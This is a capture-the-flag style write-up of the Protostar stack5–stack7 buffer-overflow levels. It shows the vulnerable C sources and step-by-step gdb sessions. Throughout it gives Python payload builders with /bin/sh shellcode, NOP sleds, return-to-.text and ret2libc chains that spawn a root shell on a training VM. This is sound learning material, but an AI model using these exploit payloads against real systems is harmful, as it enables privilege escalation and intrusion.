0xbffff7f4:     0xfe81a663      0xd4d6b073      0x00000000      0x00000000
0xbffff804:     0x00000000      0x00000001      0x08048340      0x00000000
eax            0x1f     31
ecx            0xb7fd84c0       -1208122176
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7b4       0xbffff7b4
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x0      0
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x0:    Error while running hook_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
(gdb) 

stack5 :round_pushpin:

Problem :lock:

Stack5 is a standard buffer overflow, this time introducing shellcode.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Hint :bulb:

At this point in time, it might be easier to use someone elses shellcode

If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger

remove the int3s once your shellcode is done.

Solution :key:

We will first find where the pushed eip is located (find the offset), let’s use our alphabet string again:

(gdb) r
Starting program: /opt/protostar/bin/stack5 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()

We see that the offset is still at TTTT just like previous challenges, which means that the buffer size is the same, let’s set a breakpoint just before the program finishes:

(gdb) disas main
Dump of assembler code for function main:
...
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Now we’re going run it and feed it our alphabet string again, after reaching the breakpoint let’s look at how the stack looks first:

0xbffff7ac:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffff7bc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
0xbffff7cc:     0x08048232      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xadd1dd8a      0x8786cb9a
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001

Now we see the address where the pushed eip (the return address) that is filled with 0x54545454 is located, which is at 0xbffff7ac. Now since we can write whatever we want here, we will change the return address to just point to the address after it, for example in the stack above, we will set the return pointer to the address of 0x55555555, which is right next to 0x54545454, since each “column” is 4 bytes, we just need to add 4 bytes to the address of 0x54545454 to find the address of 0x55555555.

After a bit of math with hex numbers, we find the address to be 0xbffff7b0, so let’s write this address in place of our TTTT because this is where we want to jump to, then since we need to do something after we jump there, but we still don’t know what to do, so let’s look at some hints. Referring to the second hint, let’s try and put a \xcc byte, a bit of googling tells that \xcc is a trap to debugger opcode. We will be making a python script to do this:

// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\xcc"

print filler+addr+code

Now we write the payload into a file:

python payloadbuilder.py > payload.txt

Now we run it in gdb:

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7b1 in ?? ()

Well, now we know we successfully jumped to our \xcc, so let’s refer to the 1st hint and put in a shellcode, I found one here, let’s renew out python script then:

// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr+code

Try and run it in gdb:

(gdb) r
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash

Program exited normally.

Looks promising, but nothing happened, so let’s try it outside gdb:

user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack5
Floating point exception

Wow ok I have no idea why that happened, well we can always google! After a bit of that, I found this video, from there we can learn about using \x90 opcode, which is the popular NOP operation.

So now let’s build a “NOP sled” which is just a bunch of NOPs before our shellcode, then we are going to change our overwritten return address (the overwritten eip) to point around the middle of all those NOPs (around the middle of our “NOP sled”).

The reason why we need to make these NOPs if because we don’t know if the memory addresses will be different or not, or will it change when we execute the program outside gdb, so in order to make it still work, these NOPs will act as “bumpers”, where if we managed to hit 1 of them, we will “slide” down the NOPs and eventually reach our shellcode, now let’s modify out python script, we will also be using struct to make adding hex numbers easier:

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = struct.pack("I", 0xbffff7b0+50)
nopsled = "\x90"*100
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr+nopsled+code

Don’t forget to write it into a file

python payloadbuilder.py > payload.txt

Now let’s try it in gdb:

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash

Program exited normally.

We still successfully ran the code, let’s see if we can run it outside gdb:

user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5

I entered the that command in the terminal but nothing happened, tried it again in gdb, it works, I checked the contents of payload.txt and it was right.

After watching the video mentioned before, we know some stuff:

So our problem is, we successfully called the shell but didn’t give it any inputs, so the shell just exits. So now we are going to use the cat trick shown in the video.

The final payload will be

(cat payload.txt; cat) | /opt/protostar/bin/stack5

What would happen is:

  1. cat payload.txt will be piped into /opt/protostar/bin/stack5 spawning our shell
  2. cat (no params) will then start to wait for user input
  3. whenever we input into the stdin of cat (no params), it will be reflected out into stdout
  4. pipe will then redirect this stdout into the stdin of /opt/protostar/bin/stack5 which is now our spawned shell

Because we are running /opt/protostar/bin/stack5 as root, our shell is also root (there’s a long answer regarding the suid bit of the program being set, but we’ll keep it simple for now).

user@protostar:~$ (cat payload.txt; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami 
root

stack6 :round_pushpin:

Problem :lock:

Stack6 looks at what happens when you have restrictions on the return address.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Hint :bulb:

This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s will help with this), or ret2libc , or even return orientated programming.

Solution :key:

We first find try to trigger SIGSEGV, let’s run the program in gdb and give it our alphabet, let’s make the alphabet.

user@protostar:~$ echo "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" > alphabet.txt

Now we feed it through gdb.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

Looks like 0x55555555 (translates into UUUU) is where the return pointer (pushed eip) should be, now let’s set a breakpoints right before getpath() returns back to main():

(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x080484f9 <getpath+117>:       ret    
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.

Let’s run it.

(gdb) r
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      in stack6/stack6.c
(gdb) x/24wx $esp
0xbffff79c:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7ac:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x080482a1      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xffecd58d      0xd5bbc39d

Now we can see the address of the eip that is about to be popped is at 0xbffff79c, now let’s try and make the payload.

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler + addr_to_nops + nopsled + shellcode

Let’s output it into a file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Then we run it in gdb.

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: bzzzt (0xbffff7ce)

Program exited with code 01.

Looks like we got into the “if” clause in the source and the program exited immediately. After watching this video, it turns out that we can’t jump to an address that starts with 0xbf, so a neat trick, is that we jump to the ret instruction.

How this works is that:

Because our ret operation is a piece of code, it is stored around on top of the memory, so we won’t fall into the “if” clause because our address won’t start with 0xbf.

Why jump to a ret operation? The ret operation will pop whatever is on top of the stack into the eip register, meaning we are going to jump to the address that’s on top of the stack. So the trick is:

  1. we overwrite the return pointer jump to getpath()’s ret operation
    • this is so that we don’t fall into the “if” clause
  2. now ret will be operated again, popping another value into eip
    • this is where we will write the real address pointing to our shellcode, or rather our nops

Let’s recap some stuff before building the payload

So the flow will be something like this:

  1. overflow, overwrite pushed eip with 0x080484f9
  2. it will do the ret operation
  3. the first ret will look at eip, so it will jump there
  4. after jumping, it finds another ret (it’s actually jumping to itself) so it’ll execute it again
    • this time popping our real address that points to our shellcode
  5. eip now points to our shellcode

Let’s build our payload!

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x080484f9)
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler + addr_to_ret + addr_to_nops + nopsled + shellcode

Then we output it into a file

user@protostar:~$ python payloadbuilder.py > payload.txt

Let’s run it in gdb.

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

Executing new program: /bin/dash

Program exited normally.

Looks promising, let’s try it outside gdb and also with our cat trick.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin

Referring to the hint, there are other ways to do it, let’s try it again but this time with ret2libc technique (also demonstrated in the video mentioned).

In the libc library there are a lot of functions, one of them is the system() function, a function that can run shell commands. So let’s find out where it is and let’s jump into it :wink:

From the video, we can recap the exploit into these steps

  1. find where __libc_system function is at
  2. find where the string /bin/sh is at
  3. overwrite return pointer to point to __libc_system
  4. overwrite what’s next to the return pointer to point to /bin/sh string
    • this is because the system() function expects whatever is after it’s return pointer to be the string that it will execute

Before we can actually locate anything, we need to know where libc is, so set a breakpoint somewhere, run the program, then look at the memory mappings

(gdb) info proc map
process 1758
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now we know libc is at 0xb7e97000 in memory and at /lib/libc-2.11.2.so in our files.

Step 1 is pretty simple, we just ask gdb where the system() function is, there are a couple of ways to do it, we’ll know it really is a function and not just the string __libc_system because of the < and >.

(gdb) x system
0xb7ecffb0 <__libc_system>:      "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
(gdb) x __libc_system
0xb7ecffb0 <__libc_system>:      "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"

Now that we know our system() function is at 0xb7ecffb0, time to find the string /bin/sh, we’ll do step 2 with the help of strings, grep, and gdb.

user@protostar:~$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
 11f3bf /bin/sh

Here we see 2 switches of the strings command, -a searches the entire file, -t x prints the offset of the string found as hex. So we add this offset with the memory where libc is located to get it’s actual address in the memory, we do it with gdb.

(gdb) x/s 0xb7e97000 + 0x11f3bf
0xb7fb63bf:      "/bin/sh"

The gdb command means: examine (x/) as string (s) whatever is at 0xb7fb63bf (which is 0xb7e97000 + 0x11f3bf). Now we know the string /bin/sh is at 0xb7fb63bf, let’s make the payload!

// payloadbuilder2.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_of_system = struct.pack("I", 0xb7ecffb0)
addr_of_binsh = struct.pack("I", 0xb7fb63bf)

print filler + addr_of_system + "AAAA" + addr_of_binsh

Why we made the payload this way is so that:

  1. the payload will first fill up the buffer with filler
  2. then it will overwrite the return pointer with addr_of_system
  3. which will make us jump into the system() function in libc
  4. now that we popped addr_of_system into eip, the system() function is going to expect the stack to point to it’s return address (but we just filled it with AAAA), and also expect what’s after the return address to be the string that it will execute
  5. which is why we put addr_of_binsh last

Then pipe it into a file.

user@protostar:~$ python payloadbuilder2.py > payload2.txt

Now let’s try it in gdb.

(gdb) r < /home/user/payload2.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload2.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Well, we didn’t get a shell, but we did tried to jump to 0x41414141 which is AAAA, let’s try it outside gdb with out cat trick, and hope for the best.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload2.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin
exit

Segmentation fault
user@protostar:/opt/protostar/bin$

We did get the shell here and as expected we got SIGSEGV because we tried to return to 0x41414141, though I have no idea why it doesn’t work in gdb.

But hey, at least we now understand what “ret2libc” is :innocent:


stack7 :round_pushpin:

Problem :lock:

Stack7 introduces return to .text to gain code execution.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Hint :bulb:

The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

Solution :key:

Remember the first technique in stack6 ? The one where you “return twice” ? Turns out that is actually ret2.text which is what is needed to solve this problem, as exactly mentioned in the problem description.

First, let’s feed it our usual alphabet to see how big the buffer is, and where we can overwrite the pushed eip.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

Looks like the eip is supposed to be at the UUUU, well then let’s keep that in mind and now we set a breakpoint at the ret.

(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x08048544 <getpath+128>:       ret    
End of assembler dump.
(gdb) b *0x08048544
Breakpoint 1 at 0x8048544: file stack7/stack7.c, line 24.

Let’s run the program again and look at the stack.

0xbffff79c:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7ac:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x080482bc      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0x94e4dd29      0xbeb3cb39

Now we see our new return pointer will sit where the 0x55555555 is at (which is at 0xbffff79c), and we need the address next to it (which is 0xbffff7a0) to point to our nops. Let’s build the payload then!

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7a0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr_to_ret+addr_to_nops+nopsled+shellcode

Print it into a file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Try it out in gdb.

(gdb) r < /home/user/payload.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���


Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      in stack7/stack7.c
(gdb) c
Continuing.

Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      in stack7/stack7.c
(gdb) c
Continuing.
Executing new program: /bin/dash

Program exited normally.

Looks very promising, we hit the breakpoint twice like we should, and the shell was spawned. Let’s see how we do outside gdb.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
Segmentation fault
user@protostar:/opt/protostar/bin$ 

Well, that’s wierd, let’s try and increase our nopsled size.

To keep it short, it didn’t work, so instead of trying to adjust the nopsled size, I tried to find a way to spawn the shellcode inside gdb, but instead I found this. Looks like gdb messes with our env vars, so to counter that we run these 2 commands in gdb.

(gdb) unset env LINES
(gdb) unset env COLUMNS

Now if we look at the address of things in the stack, they changed. Let’s set the breakpoint at the ret again and look at the stack now.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      stack7/stack7.c: No such file or directory.
        in stack7/stack7.c
(gdb) x/24wx $esp
0xbffff7bc:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7cc:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff87c
0xbffff7dc:     0xb7fe1848      0xbffff830      0xffffffff      0xb7ffeff4
0xbffff7ec:     0x080482bc      0x00000001      0xbffff830      0xb7ff0626
0xbffff7fc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff80c:     0x00000000      0xbffff848      0x0097f0d3      0x2ac026c3

So now our eip will be at 0xbffff7bc, which means our second eip which point to our nops will be at 0xbffff7c0. Let’s fix the payload.

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7c0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr_to_ret+addr_to_nops+nopsled+shellcode

Rewrite the output file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Run it outside gdb.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin

Nice, btw if you still run into SIGSEGV, the addresses in .text might change too so watch out for that.

Flag

Well, we didn’t get any actual flags, but we learned a LOT (at least I did), from basic SIGSEGV trigger all the way to spawning a shell with a shellcode by overwriting eip, and then we did ret2libc, and even ret2.text :clap: